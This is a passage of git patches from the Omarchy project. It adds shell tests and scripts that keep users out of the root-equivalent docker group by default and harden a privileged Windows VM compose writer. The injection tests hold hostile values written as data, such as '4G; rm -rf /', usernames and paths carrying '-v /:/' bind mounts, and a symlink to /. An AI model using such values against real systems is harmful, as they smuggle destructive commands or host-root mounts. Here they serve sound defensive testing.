chmod +x "$TMPDIR/bin/getent" "$TMPDIR/bin/usermod" export PATH="$TMPDIR/bin:$PATH" -# No install user (deferred-provisioning install): groups recorded, usermod not called. +# No install user (deferred-provisioning install): input recorded, usermod not called. OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/config/docker.sh" OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/hardware/input-group.sh" [[ -f $OMARCHY_PROVISIONING_DIR/groups ]] || fail "groups file written without an install user" -grep -qxF docker "$OMARCHY_PROVISIONING_DIR/groups" || fail "docker group recorded" grep -qxF input "$OMARCHY_PROVISIONING_DIR/groups" || fail "input group recorded" [[ ! -f $TMPDIR/usermod.calls ]] || fail "usermod not called without an install user" pass "deferred provisioning records groups without calling usermod" +# The docker group is root-equivalent and must never be granted automatically. +! grep -qxF docker "$OMARCHY_PROVISIONING_DIR/groups" || fail "docker group must not be recorded" +pass "docker group is not recorded at install" + # Missing user (defensive): no usermod either. -OMARCHY_INSTALL_USER=ghost bash -eE "$ROOT/install/config/docker.sh" +OMARCHY_INSTALL_USER=ghost bash -eE "$ROOT/install/hardware/input-group.sh" [[ ! -f $TMPDIR/usermod.calls ]] || fail "usermod not called for a missing user" pass "missing install user defers group grants" # Re-running never duplicates entries. -OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/config/docker.sh" -[[ $(grep -cxF docker "$OMARCHY_PROVISIONING_DIR/groups") == 1 ]] || fail "docker group recorded once" +OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/hardware/input-group.sh" +[[ $(grep -cxF input "$OMARCHY_PROVISIONING_DIR/groups") == 1 ]] || fail "input group recorded once" pass "group recording is idempotent" -# Existing user: usermod applies the groups and the record still lands. +# Existing user: usermod applies the recorded groups, and docker is never among them. OMARCHY_INSTALL_USER=existing bash -eE "$ROOT/install/config/docker.sh" OMARCHY_INSTALL_USER=existing bash -eE "$ROOT/install/hardware/input-group.sh" -grep -qx -- "-aG docker existing" "$TMPDIR/usermod.calls" || fail "usermod grants docker to the install user" grep -qx -- "-aG input existing" "$TMPDIR/usermod.calls" || fail "usermod grants input to the install user" -pass "existing install user still gets direct group grants" +! grep -q -- "docker" "$TMPDIR/usermod.calls" || fail "usermod must not grant docker to the install user" +pass "existing install user gets input but never docker" diff --git a/test/shell.d/sudoless-docker-posture-test.sh b/test/shell.d/sudoless-docker-posture-test.sh new file mode 100644 index 00000000..8b13b31a --- /dev/null +++ b/test/shell.d/sudoless-docker-posture-test.sh @@ -0,0 +1,40 @@ +#!/bin/bash +# +# The docker group is root-equivalent, so no automatic path may grant it. These +# tests guard the paths that are not exercised by a fresh-install run: first-boot +# provisioning replaying a recorded (or factory-snapshot) group list, and the +# Quattro upgrade. Opting in stays a deliberate, warned step +# (omarchy-setup-security-sudoless-docker). + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +TMPDIR=$(mktemp -d) +trap 'rm -rf "$TMPDIR"' EXIT + +# First-boot provisioning must never grant docker even when it is recorded (an +# older install, or a factory snapshot predating the opt-in default). +mkdir -p "$TMPDIR/bin" +printf '#!/bin/bash\nexit 0\n' >"$TMPDIR/bin/getent" # every group "exists" +chmod +x "$TMPDIR/bin/getent" +export PATH="$TMPDIR/bin:$PATH" + +PROVISIONING_DIR="$TMPDIR/prov" +mkdir -p "$PROVISIONING_DIR" +printf 'wheel\ninput\ndocker\n' >"$PROVISIONING_DIR/groups" + +# Load the real user_groups() from the provisioning command and run it. +eval "$(sed -n '/^user_groups() {/,/^}/p' "$ROOT/bin/omarchy-provision-owner")" +groups=$(user_groups) + +[[ ",$groups," == *",wheel,"* ]] || fail "user_groups always includes wheel" +[[ ",$groups," == *",input,"* ]] || fail "user_groups includes recorded non-docker groups" +[[ ",$groups," == *",docker,"* ]] && fail "user_groups must never grant the docker group" +pass "first-boot user_groups includes recorded groups but never docker" + +# The Quattro upgrade must not re-add the user to docker. +if rg -q 'usermod -aG docker' "$ROOT/bin/omarchy-upgrade-to-quattro"; then + fail "omarchy-upgrade-to-quattro must not add the user to the docker group" +fi +pass "the Quattro upgrade does not grant the docker group" diff --git a/test/shell.d/windows-vm-compose-test.sh b/test/shell.d/windows-vm-compose-test.sh new file mode 100644 index 00000000..0aa353f2 --- /dev/null +++ b/test/shell.d/windows-vm-compose-test.sh @@ -0,0 +1,124 @@ +#!/bin/bash +# +# The Windows VM compose file is written by an elevated, input-validated writer +# into a root-owned directory. These tests pin the security-critical behavior: +# no input can inject a host-root bind mount or a privileged flag, the password +# survives both the YAML and the compose-interpolation layer, only known +# privileged actions dispatch, and legacy configs migrate without redownloading. + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +TMPDIR=$(mktemp -d) +trap 'rm -rf "$TMPDIR"' EXIT +export OMARCHY_WINDOWS_DIR="$TMPDIR/win" + +# Source the command's functions; the dispatcher just prints usage for "help". +set -- help +source "$ROOT/bin/omarchy-windows-vm" >/dev/null 2>&1 +COMPOSE="$OMARCHY_WINDOWS_DIR/docker-compose.yml" + +write() { # RAM CORES DISK USER PASS TZ STORAGE SHARED + printf 'RAM=%s\nCORES=%s\nDISK=%s\nUSERNAME=%s\nPASSWORD=%s\nTZ=%s\nSTORAGE=%s\nSHARED=%s\n' \ + "$@" | __priv_write_compose +} + +# --- valid compose, with the dangerous bits pinned and unreachable by input --- +rm -f "$COMPOSE" +write 4G 2 64G alice 's3cret' Europe/Copenhagen /home/alice/.windows /home/alice/Windows +[[ -f $COMPOSE ]] || fail "writer produced a compose file" +grep -q 'image: dockurr/windows' "$COMPOSE" || fail "image is pinned" +grep -q -- '- NET_ADMIN' "$COMPOSE" || fail "cap_add is pinned" +grep -q -- '- /home/alice/.windows:/storage' "$COMPOSE" || fail "storage volume uses the given path" +grep -q -- '- /:/' "$COMPOSE" && fail "compose must never contain a host-root bind mount" +pass "writer emits a pinned compose with no host-root mount" + +# --- injection attempts are rejected, no file written --- +rm -f "$COMPOSE" +write 4G 2 64G 'x -v /:/h' p UTC /a /b 2>/dev/null && fail "malicious username was accepted" +[[ ! -f $COMPOSE ]] || fail "no compose written for a bad username" +write 4G 2 64G ok p UTC '/a -v /etc:/etc' /b 2>/dev/null && fail "malicious storage path was accepted" +write '4G; rm -rf /' 2 64G ok p UTC /a /b 2>/dev/null && fail "malicious RAM was accepted" +pass "injection attempts in username, path, and RAM are rejected" + +# --- password survives YAML (" \) and compose interpolation ($) --- +rm -f "$COMPOSE" +tricky='p@$$w:rd$HOME"x\y' +write 8G 4 64G bob "$tricky" UTC /h/.windows /h/Windows +grep -q 'PASSWORD: ".*\$\$.*"' "$COMPOSE" || fail "\$ is escaped as \$\$ for compose interpolation" +recovered=$(unescape "$(read_compose_value PASSWORD "$COMPOSE")") +[[ $recovered == "$tricky" ]] || fail "password round-trips through write/unescape" +pass "password with \" \\ and \$ round-trips" + +# --- only known privileged actions may dispatch --- +for action in write_compose up up_wait down status remove; do + valid_priv_action "$action" || fail "known privileged action rejected: $action" +done +for action in '/../evil/x' bogus 'up;rm' '' '__priv_up'; do + valid_priv_action "$action" && fail "privileged action whitelist accepted: [$action]" +done +pass "privileged action whitelist accepts known actions and rejects the rest" + +# --- legacy per-user compose migrates into the root-owned location --- +# A rogue process could have rewritten the user-owned legacy compose to bind +# mount host / into the guest, so migration must ignore its volume paths and +# reconstruct them from the current user's $HOME. +rm -rf "$OMARCHY_WINDOWS_DIR" +export HOME="$TMPDIR/home" +mkdir -p "$HOME/.config/windows" +LEGACY_COMPOSE_FILE="$HOME/.config/windows/docker-compose.yml" +COMPOSE_FILE="$COMPOSE" +cat >"$LEGACY_COMPOSE_FILE" <<'LEG' +services: + windows: + environment: + RAM_SIZE: "16G" + CPU_CORES: "6" + DISK_SIZE: "128G" + USERNAME: "legacyuser" + PASSWORD: "legacypass" + TZ: "America/New_York" + volumes: + - /./:/storage + - /etc:/shared +LEG +# In production the write elevates via pkexec; here run it in-process. +priv() { local a=$1; shift; "__priv_$a" "$@"; } +migrate_legacy_compose +[[ -f $COMPOSE_FILE ]] || fail "migration wrote the root-owned compose" +grep -q 'USERNAME: "legacyuser"' "$COMPOSE_FILE" || fail "migration preserves settings" +grep -q -- "- $HOME/.windows:/storage" "$COMPOSE_FILE" || fail "migration uses the user's home for the data volume" +grep -q -- '- /:/' "$COMPOSE_FILE" && fail "migration must not carry a host-root bind mount from a tampered legacy file" +grep -q -- '- /etc:/shared' "$COMPOSE_FILE" && fail "migration must not carry a tampered legacy volume path" +[[ ! -f $LEGACY_COMPOSE_FILE ]] || fail "migration removes the legacy compose" +pass "migration reconstructs data paths from \$HOME and ignores tampered legacy volumes" + +# --- bring-up refuses a symlinked mount source (a symlink redirects the +# privileged bind mount the same way traversal would; the string check on +# the stored path cannot see it) --- +rm -f "$COMPOSE" +mkdir -p "$TMPDIR/realstore" "$TMPDIR/realshare" +write 4G 2 64G dave pw UTC "$TMPDIR/realstore" "$TMPDIR/realshare" +assert_mounts_safe || fail "real directory mount sources are accepted" +ln -sfn / "$TMPDIR/evilshare" +write 4G 2 64G dave pw UTC "$TMPDIR/realstore" "$TMPDIR/evilshare" +assert_mounts_safe && fail "a symlinked mount source must be refused" +pass "bring-up refuses a symlinked mount source" + +# --- valid_path rejects traversal and non-normalized paths --- +for p in /home/u/.windows /var/lib/omarchy/windows; do + valid_path "$p" || fail "valid_path rejected a normal path: $p" +done +for p in / /./ // /tmp/../etc /home/u/. '/home/u/../root' '/a//b'; do + valid_path "$p" && fail "valid_path accepted a traversal/non-normalized path: $p" +done +pass "valid_path accepts normalized paths and rejects traversal" + +# --- credentials are stored privately and round-trip (incl. = in password) --- +export CREDENTIALS_FILE="$TMPDIR/creds" +write_credentials 'carol' 'p=a$$w"x' +[[ $(stat -c '%a' "$CREDENTIALS_FILE") == "600" ]] || fail "credentials file is 0600" +[[ $(read_credential USERNAME) == "carol" ]] || fail "username round-trips" +[[ $(read_credential PASSWORD) == 'p=a$$w"x' ]] || fail "password (with =) round-trips" +pass "credentials are written 0600 and round-trip" From 1565919c8778d4274e838966979eca49c72095f7 Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Mon, 24 Aug 2026 19:32:37 +0200 Subject: [PATCH 040/336] Flag a reboot when the docker group changes (#8080) Group membership is fixed at login, so removing (or adding) the docker group does not take effect in the running session. The existing-user migration and the Setup > Security toggles now call `omarchy-state set reboot-required`, so omarchy-update-restart prompts for the reboot that actually applies the change (and the bar shows it pending). A plain log out and back in still works. The migration test now exercises the real removal command and omarchy-state rather than a stub, asserting the reboot flag is set on removal and left alone when the user is already out of the group. Claude-Session: https://claude.ai/code/session_01Gb7x6poap4hGCndPx5qt5T Co-authored-by: David Heinemeier Hansson Co-authored-by: Claude Opus 4.8 --- bin/omarchy-remove-security-sudoless-docker | 7 ++- bin/omarchy-setup-security-sudoless-docker | 6 +- test/shell.d/docker-group-migration-test.sh | 65 ++++++++++++--------- 3 files changed, 48 insertions(+), 30 deletions(-) diff --git a/bin/omarchy-remove-security-sudoless-docker b/bin/omarchy-remove-security-sudoless-docker index fdc9e706..2bd5d09a 100755 --- a/bin/omarchy-remove-security-sudoless-docker +++ b/bin/omarchy-remove-security-sudoless-docker @@ -13,8 +13,13 @@ fi echo "Removing $USER from the docker group..." sudo gpasswd -d "$USER" docker >/dev/null +# Group membership is fixed at login, so the running session keeps its docker +# access until it ends. Flag a reboot so omarchy-update-restart prompts for one +# (and the bar shows it pending); a plain log out and back in works too. +omarchy-state set reboot-required + echo "" -echo "Sudoless Docker DISABLED. Log out and back in for the change to take effect." +echo "Sudoless Docker DISABLED. Reboot (or log out and back in) for the change to take effect." echo "Docker access now goes through a polkit/sudo prompt again: the Docker TUI" echo "(Super + Shift + D) and the Windows VM will ask when they need it, and the" echo "plain 'docker' CLI runs under sudo." diff --git a/bin/omarchy-setup-security-sudoless-docker b/bin/omarchy-setup-security-sudoless-docker index 38cee96f..ead18712 100755 --- a/bin/omarchy-setup-security-sudoless-docker +++ b/bin/omarchy-setup-security-sudoless-docker @@ -28,8 +28,12 @@ echo "" if gum confirm "Enable sudoless Docker? This gives anything running as you passwordless root."; then sudo usermod -aG docker "$USER" + # Group membership is fixed at login, so docker won't be reachable without a + # prompt until the session restarts. Flag a reboot so omarchy-update-restart + # prompts for one (and the bar shows it pending). + omarchy-state set reboot-required echo "" - echo "Sudoless Docker ENABLED. Log out and back in (or run 'newgrp docker')" + echo "Sudoless Docker ENABLED. Reboot, or log out and back in (or run 'newgrp docker')," echo "for the new group membership to take effect." echo "To disable it again, run: omarchy-remove-security-sudoless-docker" else diff --git a/test/shell.d/docker-group-migration-test.sh b/test/shell.d/docker-group-migration-test.sh index 3d2f5a99..ba2c4108 100644 --- a/test/shell.d/docker-group-migration-test.sh +++ b/test/shell.d/docker-group-migration-test.sh @@ -1,8 +1,13 @@ #!/bin/bash # # The docker-group opt-in migration must remove an existing install's user from -# the root-equivalent docker group (only when they are in it), refresh the stale -# Docker launcher entry, and stay idempotent on reruns. +# the root-equivalent docker group (only when they are in it), flag a reboot so +# the group change actually takes effect (group membership is fixed at login), +# refresh the stale Docker launcher entry, and stay idempotent on reruns. +# +# The real omarchy-remove-security-sudoless-docker and omarchy-state run here +# (from the repo bin); only the privileged/system calls are stubbed, so the whole +# chain — including the reboot flag — is exercised. set -euo pipefail @@ -17,49 +22,53 @@ omarchy_path="$test_dir/omarchy" stub_bin="$test_dir/bin" mkdir -p "$home/.local/share/applications" "$omarchy_path/applications" "$stub_bin" -# The packaged (new) launcher entry the migration should copy over the stale one. printf 'NEW-LAUNCHER\n' >"$omarchy_path/applications/Docker.desktop" printf 'OLD-LAUNCHER\n' >"$home/.local/share/applications/Docker.desktop" -# Stub id to report a controllable group set, and the removal command to record -# that it was called instead of touching the real system. +# id reports a controllable group set; sudo just drops the prefix; gpasswd +# records its call instead of touching the real system. cat >"$stub_bin/id" <<'STUB' #!/bin/bash -# Only the migration's `id -nG "$USER"` needs answering here. printf '%s\n' "${STUB_GROUPS:-wheel input}" STUB -cat >"$stub_bin/omarchy-remove-security-sudoless-docker" <<'STUB' +cat >"$stub_bin/sudo" <<'STUB' #!/bin/bash -touch "${REMOVE_CALLED:?}" +exec "$@" STUB -chmod +x "$stub_bin/id" "$stub_bin/omarchy-remove-security-sudoless-docker" +cat >"$stub_bin/gpasswd" <<'STUB' +#!/bin/bash +echo "$@" >>"${GPASSWD_CALLS:?}" +STUB +chmod +x "$stub_bin/id" "$stub_bin/sudo" "$stub_bin/gpasswd" + +reboot_flag="$home/.local/state/omarchy/reboot-required" +gpasswd_calls="$test_dir/gpasswd-calls" +launcher="$home/.local/share/applications/Docker.desktop" -remove_called="$test_dir/remove-called" run_migration() { - rm -f "$remove_called" - HOME="$home" OMARCHY_PATH="$omarchy_path" USER="tester" \ - STUB_GROUPS="$1" REMOVE_CALLED="$remove_called" \ - PATH="$stub_bin:$PATH" bash -euo pipefail "$migration" >/dev/null 2>&1 + rm -f "$gpasswd_calls" "$reboot_flag" + HOME="$home" OMARCHY_PATH="$omarchy_path" USER="tester" STUB_GROUPS="$1" \ + GPASSWD_CALLS="$gpasswd_calls" PATH="$stub_bin:$ROOT/bin:$PATH" \ + bash -euo pipefail "$migration" >/dev/null 2>&1 } -# In the docker group: the user is removed and the launcher is refreshed. +# In the docker group: user removed, reboot flagged, launcher refreshed. run_migration "wheel input docker" || fail "migration runs when the user is in the docker group" -[[ -e $remove_called ]] || fail "migration removes a user who is in the docker group" -[[ $(cat "$home/.local/share/applications/Docker.desktop") == "NEW-LAUNCHER" ]] || - fail "migration refreshes the stale Docker launcher entry" -pass "migration removes the docker group and refreshes the launcher" +grep -q -- "-d tester docker" "$gpasswd_calls" || fail "migration removes the user from the docker group" +[[ -f $reboot_flag ]] || fail "migration flags a reboot so the group change takes effect" +[[ $(cat "$launcher") == "NEW-LAUNCHER" ]] || fail "migration refreshes the stale Docker launcher entry" +pass "migration removes the group, flags a reboot, and refreshes the launcher" -# Not in the docker group (fresh install, or already migrated): no removal. -printf 'OLD-LAUNCHER\n' >"$home/.local/share/applications/Docker.desktop" +# Not in the docker group (fresh install, or already migrated): nothing changes. +printf 'OLD-LAUNCHER\n' >"$launcher" run_migration "wheel input" || fail "migration runs when the user is not in the docker group" -[[ ! -e $remove_called ]] || fail "migration must not call the removal when the user is not in the docker group" -[[ $(cat "$home/.local/share/applications/Docker.desktop") == "NEW-LAUNCHER" ]] || - fail "migration still refreshes the launcher when the group is already absent" -pass "migration is a no-op on the group when it is already absent" +[[ ! -f $gpasswd_calls ]] || fail "migration must not touch the group when the user is not in it" +[[ ! -f $reboot_flag ]] || fail "migration must not flag a reboot when nothing changed" +[[ $(cat "$launcher") == "NEW-LAUNCHER" ]] || fail "migration still refreshes the launcher when the group is already absent" +pass "migration is a no-op on the group and reboot when already out" # No launcher entry present: the refresh is skipped without error. -rm -f "$home/.local/share/applications/Docker.desktop" +rm -f "$launcher" run_migration "wheel input" || fail "migration tolerates a missing launcher entry" -[[ ! -e $home/.local/share/applications/Docker.desktop ]] || - fail "migration does not create a launcher entry that was not there" +[[ ! -e $launcher ]] || fail "migration does not create a launcher entry that was not there" pass "migration skips the launcher refresh when no entry exists" From 5d3299fb9426ae927b9fc7ef16c94bd334a90f01 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Mon, 24 Aug 2026 19:46:02 +0200 Subject: [PATCH 041/336] Wait for the keypress ourselves instead of asking gum to (#8082) * Wait for the keypress ourselves instead of asking gum to gum 2.0 runs a spun command without the terminal attached, so the `gum spin -- read -n 1` that held the presentation terminal open returned at once. Every menu command that ended in a failure took its window down with it before the error could be read, which is how a failed update looked like a terminal that just quit. Read the key directly. gum's own terminal query replies are still sitting on the tty when the spinner stops, so drain those first or they answer the prompt on the user's behalf. The green dot reads better than the globe did, so the provisioning notice uses it too and drops its spinner along the way. Co-Authored-By: Claude Opus 5 (1M context) * Ask the terminal for itself before prompting on it The /dev/tty node is there whether or not a terminal is behind it, so the existence check passed on a headless run and left both reads failing with "No such device or address". Open it instead. Prompt on the terminal too, rather than stdout: a caller that redirects us was sending the prompt to a file while the read waited on the terminal, which looks like a hang with no instruction on screen. Co-Authored-By: Claude Opus 5 (1M context) --------- Co-authored-by: Claude Opus 5 (1M context) --- bin/omarchy-provision-owner | 3 ++- bin/omarchy-show-done | 18 +++++++++++++++--- 2 files changed, 17 insertions(+), 4 deletions(-) diff --git a/bin/omarchy-provision-owner b/bin/omarchy-provision-owner index ac4b90c1..c27de22c 100755 --- a/bin/omarchy-provision-owner +++ b/bin/omarchy-provision-owner @@ -141,7 +141,8 @@ say() { notice() { clear_logo echo - gum spin --spinner "pulse" --title "$1" -- sleep "${2:-2}" + printf '%*s\033[32m● \033[0m%s\n' "$PADDING_LEFT" '' "$1" + sleep "${2:-2}" echo } diff --git a/bin/omarchy-show-done b/bin/omarchy-show-done index 60741076..d5d8ccde 100755 --- a/bin/omarchy-show-done +++ b/bin/omarchy-show-done @@ -1,6 +1,18 @@ #!/bin/bash -# omarchy:summary=Display a "Done!" message with a spinner and wait for user to press any key. +# omarchy:summary=Display a "Done!" message and wait for user to press any key. -echo -gum spin --spinner "globe" --title "Done! Press any key to close..." -- bash -c 'read -n 1 -s' +# The device node is there whether or not a terminal is behind it, so opening +# it is the only test that means anything. +: 2>/dev/null <>/dev/tty || exit 0 + +# gum 2.0 no longer lets a spun command read the terminal, so the wait has to +# happen here. Its own query replies are still queued on the tty; drop those or +# they answer the keypress for the user. +while read -rsn 1 -t 0.1 _ /dev/tty +read -rsn 1 /dev/tty From 06a3dbca42ae90998128a6ce96a3bcff2c7ea8b3 Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Mon, 24 Aug 2026 21:58:27 +0200 Subject: [PATCH 042/336] Offer to reboot when toggling sudoless Docker; show only the relevant menu entry (#8098) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Offer to reboot when toggling sudoless Docker; show only the relevant menu entry Group membership only takes effect on a fresh session, and in practice a logout or newgrp isn't enough — only a reboot reliably applies it. So the setup/remove commands now flag the reboot and offer to do it now with a gum confirm (like the GPU toggle), and the notices say "after a reboot" instead of pointing at logout or newgrp. The existing-user migration passes OMARCHY_DEFER_REBOOT so it does not prompt mid-update — omarchy-update-restart still handles the reboot once the whole update finishes. The Setup > Security menu also showed Sudoless Docker under both Setup and Remove. Condition the Setup entry on the group being absent (Remove already conditions on it being present), so only the applicable one appears. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01Gb7x6poap4hGCndPx5qt5T * Ask omarchy-sudo-docker whether Docker needs sudo Every place that chooses between talking to Docker directly and elevating was testing group membership by hand, and the menu guards tested the wrong thing: they read the running session's groups, which do not change until the reboot, so after enabling sudoless Docker the menu still offered Setup — the one action that could no longer do anything — while Remove stayed hidden. Add omarchy-sudo-docker as the single answer, with the two questions that actually differ in that window. By default it asks whether this session can reach the socket, which is what decides if a command must elevate: lazydocker and the Windows VM keep prompting until the reboot lands. With --configured it asks whether the account is set up for sudoless Docker, which is what the menu and the toggles need, so the menu switches to the action that can change state as soon as the group is written. Also correct a comment: nothing surfaces reboot-required in the bar; it is omarchy-update-restart that reads it during a later update. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01Gb7x6poap4hGCndPx5qt5T --------- Co-authored-by: David Heinemeier Hansson Co-authored-by: Claude Opus 4.8 --- bin/omarchy-launch-docker-tui | 12 +-- bin/omarchy-remove-security-sudoless-docker | 25 ++++-- bin/omarchy-setup-security-sudoless-docker | 22 +++-- bin/omarchy-sudo-docker | 44 ++++++++++ bin/omarchy-windows-vm | 9 +- default/omarchy/omarchy-menu.jsonc | 4 +- migrations/1787580187.sh | 12 +-- test/shell.d/docker-group-migration-test.sh | 21 ++++- test/shell.d/sudo-docker-test.sh | 67 +++++++++++++++ test/shell.d/sudoless-docker-toggle-test.sh | 93 +++++++++++++++++++++ 10 files changed, 276 insertions(+), 33 deletions(-) create mode 100755 bin/omarchy-sudo-docker create mode 100644 test/shell.d/sudo-docker-test.sh create mode 100644 test/shell.d/sudoless-docker-toggle-test.sh diff --git a/bin/omarchy-launch-docker-tui b/bin/omarchy-launch-docker-tui index b31e9170..8d09894a 100755 --- a/bin/omarchy-launch-docker-tui +++ b/bin/omarchy-launch-docker-tui @@ -9,10 +9,12 @@ # no prompt. lazydocker needs the root-owned Docker socket, so when the group is # absent, gate that access behind a polkit prompt. If the user has opted into # sudoless Docker (omarchy-setup-security-sudoless-docker), the socket is already -# reachable, so run lazydocker directly. pkexec sanitizes the environment, so -# carry TERM through for the TUI to render and run lazydocker from root's PATH. -if id -nG 2>/dev/null | grep -qw docker; then - exec lazydocker -else +# reachable, so run lazydocker directly — omarchy-sudo-docker answers that for +# this session, so the prompt stays until the reboot that grants the group. +# pkexec sanitizes the environment, so carry TERM through for the TUI to render +# and run lazydocker from root's PATH. +if omarchy-sudo-docker; then exec pkexec /usr/bin/env TERM="${TERM:-xterm-256color}" lazydocker +else + exec lazydocker fi diff --git a/bin/omarchy-remove-security-sudoless-docker b/bin/omarchy-remove-security-sudoless-docker index 2bd5d09a..dd4c6175 100755 --- a/bin/omarchy-remove-security-sudoless-docker +++ b/bin/omarchy-remove-security-sudoless-docker @@ -5,7 +5,10 @@ set -e -if ! id -nG "$USER" 2>/dev/null | grep -qw docker; then +# Ask about the configured groups, not this session's: right after enabling, +# sudoless Docker is on for the account even though the running session still +# needs a prompt, and this command is what turns it back off. +if omarchy-sudo-docker --configured; then echo "Sudoless Docker is not enabled: $USER is not in the docker group." exit 0 fi @@ -13,13 +16,19 @@ fi echo "Removing $USER from the docker group..." sudo gpasswd -d "$USER" docker >/dev/null -# Group membership is fixed at login, so the running session keeps its docker -# access until it ends. Flag a reboot so omarchy-update-restart prompts for one -# (and the bar shows it pending); a plain log out and back in works too. +# Group membership is only re-read by a fresh session, and in practice logging +# out or newgrp isn't enough — only a reboot reliably applies it. Record it so a +# later `omarchy update` still prompts (omarchy-update-restart reads this), then +# offer to do it now. omarchy-state set reboot-required echo "" -echo "Sudoless Docker DISABLED. Reboot (or log out and back in) for the change to take effect." -echo "Docker access now goes through a polkit/sudo prompt again: the Docker TUI" -echo "(Super + Shift + D) and the Windows VM will ask when they need it, and the" -echo "plain 'docker' CLI runs under sudo." +echo "Sudoless Docker DISABLED. Docker access goes through a polkit/sudo prompt" +echo "again: the Docker TUI (Super + Shift + D) and the Windows VM ask when they" +echo "need it, and the plain 'docker' CLI runs under sudo. It takes effect after a reboot." +echo "" +# The migration reuses this command during 'omarchy update' and defers the +# reboot to omarchy-update-restart, so it doesn't cut the update short. +if [[ -z ${OMARCHY_DEFER_REBOOT:-} ]] && gum confirm "Reboot now to apply?"; then + omarchy-system-reboot +fi diff --git a/bin/omarchy-setup-security-sudoless-docker b/bin/omarchy-setup-security-sudoless-docker index ead18712..4577cbf1 100755 --- a/bin/omarchy-setup-security-sudoless-docker +++ b/bin/omarchy-setup-security-sudoless-docker @@ -5,7 +5,9 @@ set -e -if id -nG "$USER" 2>/dev/null | grep -qw docker; then +# Ask about the configured groups, not this session's: once enabled it stays +# enabled for the account even before the reboot that lets this session use it. +if ! omarchy-sudo-docker --configured; then echo "Sudoless Docker is already enabled: $USER is in the docker group." echo "To disable it again, run: omarchy-remove-security-sudoless-docker" exit 0 @@ -28,14 +30,20 @@ echo "" if gum confirm "Enable sudoless Docker? This gives anything running as you passwordless root."; then sudo usermod -aG docker "$USER" - # Group membership is fixed at login, so docker won't be reachable without a - # prompt until the session restarts. Flag a reboot so omarchy-update-restart - # prompts for one (and the bar shows it pending). + # A new docker group membership is only picked up by a fresh session, and in + # practice logging out or newgrp isn't enough — only a reboot reliably applies + # it. Record it so a later `omarchy update` still prompts + # (omarchy-update-restart reads this), then offer to do it now. omarchy-state set reboot-required echo "" - echo "Sudoless Docker ENABLED. Reboot, or log out and back in (or run 'newgrp docker')," - echo "for the new group membership to take effect." - echo "To disable it again, run: omarchy-remove-security-sudoless-docker" + echo "Sudoless Docker ENABLED. It takes effect after a reboot." + echo "To disable it again: Setup > Security > Sudoless Docker." + echo "" + # The migration reuses this command during 'omarchy update' and defers the + # reboot to omarchy-update-restart, so it doesn't cut the update short. + if [[ -z ${OMARCHY_DEFER_REBOOT:-} ]] && gum confirm "Reboot now to apply?"; then + omarchy-system-reboot + fi else echo "Aborted. No changes made. Docker access still goes through a prompt." fi diff --git a/bin/omarchy-sudo-docker b/bin/omarchy-sudo-docker new file mode 100755 index 00000000..19399cc4 --- /dev/null +++ b/bin/omarchy-sudo-docker @@ -0,0 +1,44 @@ +#!/bin/bash + +# omarchy:summary=Succeed when Docker needs sudo, fail when it can be used directly +# omarchy:args=[--configured] +# omarchy:examples=omarchy-sudo-docker && echo "needs sudo" | omarchy-sudo-docker --configured +# omarchy:hidden=true + +# The docker group is root-equivalent, so Omarchy leaves users out of it by +# default and reaches the daemon through a prompt instead. Everything that has +# to make that choice asks here rather than testing group membership itself. +# +# Two questions, because they have different answers between toggling sudoless +# Docker and the reboot that applies it (group membership is fixed when the +# session is created): +# +# (default) Does Docker need sudo *right now*? Answered by whether this +# process can actually reach the socket, which is what decides +# if a command must elevate. Still true in the window after +# sudoless Docker is enabled but before the reboot. +# --configured Will it need sudo once the account's groups take effect? +# Answered from the account's configured groups, so the menu +# offers the toggle that can actually change state. +# +# Succeeds (exit 0) when sudo is needed, so it reads as `if omarchy-sudo-docker`. + +DOCKER_SOCKET="${OMARCHY_DOCKER_SOCKET:-/var/run/docker.sock}" + +case "${1:-}" in +--configured) + # An account in the docker group will not need sudo after the next login. + id -nG "$USER" 2>/dev/null | grep -qw docker && exit 1 + exit 0 + ;; +"") + # A socket we can write is a daemon we can drive without elevating. A missing + # socket counts as needing sudo: reaching it means starting it as root anyway. + [[ -w $DOCKER_SOCKET ]] && exit 1 + exit 0 + ;; +*) + echo "Usage: omarchy-sudo-docker [--configured]" >&2 + exit 2 + ;; +esac diff --git a/bin/omarchy-windows-vm b/bin/omarchy-windows-vm index 071dc784..1487cb21 100755 --- a/bin/omarchy-windows-vm +++ b/bin/omarchy-windows-vm @@ -31,8 +31,11 @@ CONTAINER="omarchy-windows" # --- privilege helpers ------------------------------------------------------- -# True when the user can reach the Docker socket directly (sudoless Docker on). -in_docker_group() { id -nG 2>/dev/null | grep -qw docker; } +# True when this session can reach the Docker socket directly (sudoless Docker +# on and in effect). Asking about the socket rather than the configured groups +# keeps the prompt in place through the window where sudoless Docker is enabled +# but the reboot that grants the group has not happened yet. +docker_needs_sudo() { omarchy-sudo-docker; } # The command to hand pkexec for the privileged re-exec. pkexec runs whatever # executable it is given (after authorization) and only shows the path in the @@ -64,7 +67,7 @@ priv_target() { priv() { local action="$1" shift - if [[ $action != write_compose ]] && in_docker_group; then + if [[ $action != write_compose ]] && ! docker_needs_sudo; then "__priv_$action" "$@" return fi diff --git a/default/omarchy/omarchy-menu.jsonc b/default/omarchy/omarchy-menu.jsonc index b1cfcf7b..59582db7 100644 --- a/default/omarchy/omarchy-menu.jsonc +++ b/default/omarchy/omarchy-menu.jsonc @@ -179,7 +179,7 @@ "setup.security.fido2": {"icon":"","label":"Fido2","action":"omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-fido2"}, "setup.security.sshd": {"icon":"󰣀","label":"SSHD","action":"omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-sshd"}, "setup.security.passwordless-sudo": {"icon":"󰟵","label":"Passwordless Sudo","action":"omarchy-launch-floating-terminal-with-presentation omarchy-sudo-passwordless"}, - "setup.security.sudoless-docker": 